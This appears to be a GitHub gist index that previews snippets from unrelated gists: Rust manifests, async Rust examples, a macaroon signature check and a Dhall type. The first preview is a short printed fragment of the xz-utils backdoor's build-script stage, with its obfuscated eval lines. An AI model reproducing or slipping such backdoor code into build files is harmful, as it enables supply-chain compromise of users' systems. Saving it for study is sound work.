This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
| P="-fPIC -DPIC -fno-lto -ffunction-sections -fdata-sections" | |
| C="pic_flag=\" $P\"" | |
| O="^pic_flag=\" -fPIC -DPIC\"$" | |
| R="is_arch_extension_supported" | |
| x="__get_cpuid(" | |
| p="good-large_compressed.lzma" | |
| U="bad-3-corrupt_lzma2.xz" | |
| eval $zrKcVq | |
| if test -f config.status; then | |
| eval $zrKcSS |
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
| [package] | |
| name = "gitlab-sso" | |
| version = "0.1.0" | |
| edition = "2021" | |
| # See more keys and their definitions at https://doc.rust-lang.org/cargo/reference/manifest.html | |
| [dependencies] | |
| actix-rt = "2.7.0" | |
| actix-web = "4.2.1" |
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
| [package] | |
| name = "test_data_fusion" | |
| version = "0.1.0" | |
| edition = "2021" | |
| # See more keys and their definitions at https://doc.rust-lang.org/cargo/reference/manifest.html | |
| [dependencies] | |
| futures = "0.3.24" | |
| futures-util = "0.3.24" |
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
| [package] | |
| name = "test_data_fusion" | |
| version = "0.1.0" | |
| edition = "2021" | |
| # See more keys and their definitions at https://doc.rust-lang.org/cargo/reference/manifest.html | |
| [dependencies] | |
| datafusion = "11.0.0" | |
| foundationdb = {git = "https://github.com/foundationdb-rs/foundationdb-rs.git", features=["embedded-fdb-include", "fdb-7_1"]} |
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
| def verify(self, secret): | |
| identifier = bytes(self.identifier, encoding="utf-8") | |
| secret = bytes(secret, encoding="utf-8") | |
| signature = hmac_sha256(secret, identifier) | |
| for caveat in self.caveats: | |
| signature = hmac_sha256(signature, caveat.encode("utf-8")) |
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
| [package] | |
| name = "surreal" | |
| version = "0.1.0" | |
| edition = "2021" | |
| # See more keys and their definitions at https://doc.rust-lang.org/cargo/reference/manifest.html | |
| [dependencies] | |
| surrealdb = {version = "1.0.0-beta.6", default-features = false, features=["parallel", "scripting", "http", "kv-echodb"]} | |
| eyre = "0.6.8" |
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
| let Map = | |
| https://raw.githubusercontent.com/dhall-lang/dhall-lang/master/Prelude/Map/Type | |
| let types = ./types.dhall | |
| let Service = | |
| { deploy = None types.Deploy | |
| , build = None types.Build | |
| , cap_add = None (List Text) | |
| , cap_drop = None (List Text) |
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
| use clokwerk::{AsyncScheduler, TimeUnits}; | |
| use std::time::Duration; | |
| async fn job() { | |
| dbg!("It works"); | |
| } | |
| #[tokio::main] | |
| async fn main() { | |
| let mut scheduler = AsyncScheduler::new(); |
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
| [package] | |
| name = "async-panic" | |
| version = "0.1.0" | |
| edition = "2021" | |
| # See more keys and their definitions at https://doc.rust-lang.org/cargo/reference/manifest.html | |
| [dependencies] | |
| futures = "0.3.21" | |
| tokio = { version = "1.20.0", features = ["full"] } |
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
| use opentelemetry::global::shutdown_tracer_provider; | |
| use std::future::Future; | |
| use std::pin::Pin; | |
| use opentelemetry::runtime::Tokio; | |
| use rand::Rng; | |
| use tokio::io::{AsyncReadExt, AsyncWriteExt}; | |
| use tokio::{io, join, select, spawn}; | |
| use tokio::net::{TcpListener, TcpStream}; |